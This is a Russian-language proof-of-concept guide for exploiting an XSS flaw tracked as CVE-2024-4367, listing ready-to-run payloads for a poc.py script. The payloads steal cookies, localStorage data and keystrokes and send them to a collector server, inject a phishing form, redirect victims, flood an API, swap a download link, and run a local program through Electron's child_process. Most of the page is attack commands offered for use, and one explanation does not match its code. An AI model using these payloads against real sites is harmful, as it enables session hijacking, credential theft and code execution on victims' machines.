CVE 2024 4367: PoC для эксплуатации XSS (Межсайтовый скриптинг)

1. Отображение предупреждения (Запуск XSS)

Другой пример эксплуатации — внедрение простого сообщения-предупреждения для проверки успешности атаки.

python poc.py "alert('XSS exploit triggered');"

• Пояснение: Этот код внедряет всплывающее предупреждение на страницу, что позволяет быстро проверить, выполняется ли эксплойт XSS на целевом сайте.

2. Кража куки

XSS-атака может использоваться для кражи куки жертвы и отправки их на вредоносный сервер.

python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"

• Пояснение: Скрипт изменяет URL страницы, чтобы включить куки жертвы, которые затем отправляются на вредоносный сервер (http://localhost:3000/cookie).

3. Кража локально хранимых данных (LocalStorage)

Злоумышленник может украсть конфиденциальные данные, хранящиеся в localStorage жертвы, такие как данные аутентификации или информация о сессии.

python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"

• Пояснение: Код извлекает конфиденциальные данные из localStorage и отправляет их на вредоносный сервер через запрос fetch.

4. Вредоносное перенаправление

Злоумышленник может перенаправить жертву на вредоносный сайт для получения дополнительной информации или загрузки другого эксплойта.

python poc.py "window.location.href='http://localhost:3000';"

• Пояснение: Этот скрипт немедленно перенаправляет жертву на вредоносный сайт, что может использоваться в фишинговых атаках или для установки вредоносного ПО.

5. DDoS-атака (Флуд API)

Ещё один тип атаки — затопление сервера запросами, что может привести к ухудшению производительности или прерыванию обслуживания.

python poc.py  "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"

• Пояснение: Скрипт отправляет 100 HTTP-запросов к целевой API, что может вызвать перегрузку сервера (атака типа «отказ в обслуживании»).

6. Кейлоггер (Кража нажатий клавиш)

Злоумышленник может перехватывать нажатия клавиш жертвы, что позволяет ему получать конфиденциальные данные, такие как пароли или логины.

python poc.py """document.addEventListener('keydown', function(e) {
    fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""

• Пояснение: Этот скрипт записывает каждое нажатие клавиши жертвой и отправляет эти данные на вредоносный сервер.

7. Фишинг через внедрённую форму (Кража конфиденциальных данных)

Злоумышленник может использовать XSS для внедрения фишинговой формы на веб-страницу и таким образом украсть конфиденциальные данные (например, пароль, имя пользователя).

python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""

• Пояснение: Этот код внедряет форму на страницу, позволяя злоумышленнику получить конфиденциальные данные, которые пользователь отправляет через эту фишинговую форму.

8. Подмена (Спуфинг)

Если пользователь собирается нажать кнопку загрузки, мы изменим цель загрузки.

const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf"; 
document.body.appendChild(a);
a.click();
document.body.removeChild(a);

• Пояснение: Этот скрипт обновляет ссылку загрузки; идея заключается в изменении существующей кнопки так, чтобы вместо ожидаемого файла загружался вредоносный.

9. Атаки на настольные приложения (Electron, NW.js)

python poc.py "require('child_process').exec('calc.exe')"

Приложения, созданные на фреймворках, таких как Electron или NW.js, также могут быть подвержены XSS-атакам, поскольку они позволяют встраивать веб-контент в настольные приложения с расширенным локальным доступом.
Эти приложения благодаря своим разрешениям могут позволить злоумышленнику получить доступ к локальным файлам, выполнять внешние процессы или даже запускать другие приложения на целевой машине (например, калькулятор, текстовый редактор и т.д.). Это значительно увеличивает поверхность атаки, поскольку такие приложения сочетают мощь веба с более широким доступом к системе.

Заключение

Атаки, эксплуатирующие CVE (Common Vulnerabilities and Exposures), могут позволить осуществить различные типы XSS-атак. Используя конкретные уязвимости в веб- или настольных приложениях, злоумышленник может внедрить вредоносный код, украсть конфиденциальные данные, манипулировать пользовательскими сессиями или выполнить вредоносные действия на целевой системе